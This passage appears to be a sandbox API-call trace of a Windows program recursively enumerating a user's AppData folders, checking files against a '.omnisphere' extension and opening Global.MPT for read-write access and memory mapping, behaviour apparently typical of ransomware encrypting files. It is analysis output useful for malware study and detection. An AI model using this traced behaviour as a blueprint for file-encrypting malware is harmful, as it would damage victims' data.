lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc0, cFileName="..", cAlternateFileName="")) returned 1 [0115.805] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc0, cFileName="..", cAlternateFileName="")) returned 0 [0115.805] FindClose (in: hFindFile=0x1639b68 | out: hFindFile=0x1639b68) returned 1 [0115.806] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0115.806] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.806] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.806] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0115.806] GetProcessHeap () returned 0x1600000 [0115.806] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162da78 | out: hHeap=0x1600000) returned 1 [0115.806] GetProcessHeap () returned 0x1600000 [0115.806] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16562e0 | out: hHeap=0x1600000) returned 1 [0115.806] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0115.806] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0115.806] GetProcessHeap () returned 0x1600000 [0115.806] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656a18 | out: hHeap=0x1600000) returned 1 [0115.807] GetProcessHeap () returned 0x1600000 [0115.807] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e908 | out: hHeap=0x1600000) returned 1 [0115.807] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd38548cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="UserData", cAlternateFileName="")) returned 0 [0115.807] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0115.807] GetProcessHeap () returned 0x1600000 [0115.807] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167bef8 | out: hHeap=0x1600000) returned 1 [0115.807] GetProcessHeap () returned 0x1600000 [0115.807] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1633018 | out: hHeap=0x1600000) returned 1 [0115.807] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMC", cAlternateFileName="")) returned 1 [0115.807] GetProcessHeap () returned 0x1600000 [0115.807] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6a) returned 0x1606e38 [0115.807] PathCombineW (in: pszDest=0x1606e38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="MMC" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MMC") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MMC" [0115.807] GetProcessHeap () returned 0x1600000 [0115.807] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x165fbe8 [0115.807] PathCombineW (in: pszDest=0x165fbe8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MMC", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MMC\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MMC\\*" [0115.807] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0115.809] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0115.809] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 0 [0115.809] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0115.810] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0115.810] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0115.810] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 0 [0115.810] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0115.810] GetProcessHeap () returned 0x1600000 [0115.810] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165fbe8 | out: hHeap=0x1600000) returned 1 [0115.810] GetProcessHeap () returned 0x1600000 [0115.810] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1606e38 | out: hHeap=0x1600000) returned 1 [0115.810] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS Project", cAlternateFileName="MSPROJ~1")) returned 1 [0115.810] GetProcessHeap () returned 0x1600000 [0115.810] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x78) returned 0x163f980 [0115.810] PathCombineW (in: pszDest=0x163f980, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="MS Project" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project" [0115.810] GetProcessHeap () returned 0x1600000 [0115.810] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7c) returned 0x1668f88 [0115.810] PathCombineW (in: pszDest=0x1668f88, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\*" [0115.811] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0115.811] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0115.811] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="16", cAlternateFileName="")) returned 1 [0115.811] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="16", cAlternateFileName="")) returned 0 [0115.811] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0115.811] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0115.811] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0115.812] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="16", cAlternateFileName="")) returned 1 [0115.812] GetProcessHeap () returned 0x1600000 [0115.812] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x1668460 [0115.812] PathCombineW (in: pszDest=0x1668460, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project", pszFile="16" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16" [0115.812] GetProcessHeap () returned 0x1600000 [0115.812] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x82) returned 0x16339a8 [0115.812] PathCombineW (in: pszDest=0x16339a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*" [0115.812] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd0, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0115.813] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd0, cFileName="..", cAlternateFileName="")) returned 1 [0115.813] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd0, cFileName="en-US", cAlternateFileName="")) returned 1 [0115.813] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd0, cFileName="en-US", cAlternateFileName="")) returned 0 [0115.813] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0115.813] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639628 [0115.813] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.813] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0115.813] GetProcessHeap () returned 0x1600000 [0115.813] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8a) returned 0x167bd30 [0115.813] PathCombineW (in: pszDest=0x167bd30, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16", pszFile="en-US" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US" [0115.813] GetProcessHeap () returned 0x1600000 [0115.814] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8e) returned 0x167bdc8 [0115.814] PathCombineW (in: pszDest=0x167bdc8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*" [0115.814] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcd, cFileName=".", cAlternateFileName="")) returned 0x16396e8 [0115.814] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcd, cFileName="..", cAlternateFileName="")) returned 1 [0115.814] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee780bf0, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x12fe00, dwReserved0=0x0, dwReserved1=0xcd, cFileName="Global.MPT", cAlternateFileName="")) returned 1 [0115.814] GetProcessHeap () returned 0x1600000 [0115.814] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x16564d8 [0115.814] PathCombineW (in: pszDest=0x16564d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US", pszFile="Global.MPT" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" [0115.814] StrStrW (lpFirst=".omnisphere", lpSrch=".MPT") returned 0x0 [0115.814] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\global.mpt"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0115.815] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=1244672) returned 1 [0115.815] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x12f8dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0115.815] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0115.817] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12fe00, lpName=0x0) returned 0x3c0 [0115.817] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x4010000 [0115.817] UnmapViewOfFile (lpBaseAddress=0x4010000) returned 1 [0115.817] CloseHandle (hObject=0x3c0) returned 1 [0115.817] GetTickCount () returned 0x115cf52 [0115.817] GetTickCount () returned 0x115cf52 [0115.817] GetTickCount () returned 0x115cf52 [0115.817] GetTickCount () returned 0x115cf52 [0115.817] GetTickCount () returned 0x115cf52 [0115.817] GetTickCount () returned 0x115cf52 [0115.817] GetTickCount () returned 0x115cf52 [0115.817] GetTickCount () returned 0x115cf52 [0115.817] GetTickCount () returned 0x115cf52 [0115.817] GetTickCount () returned 0x115cf52 [0115.817] GetTickCount () returned 0x115cf52 [0115.817] GetTickCount () returned 0x115cf52 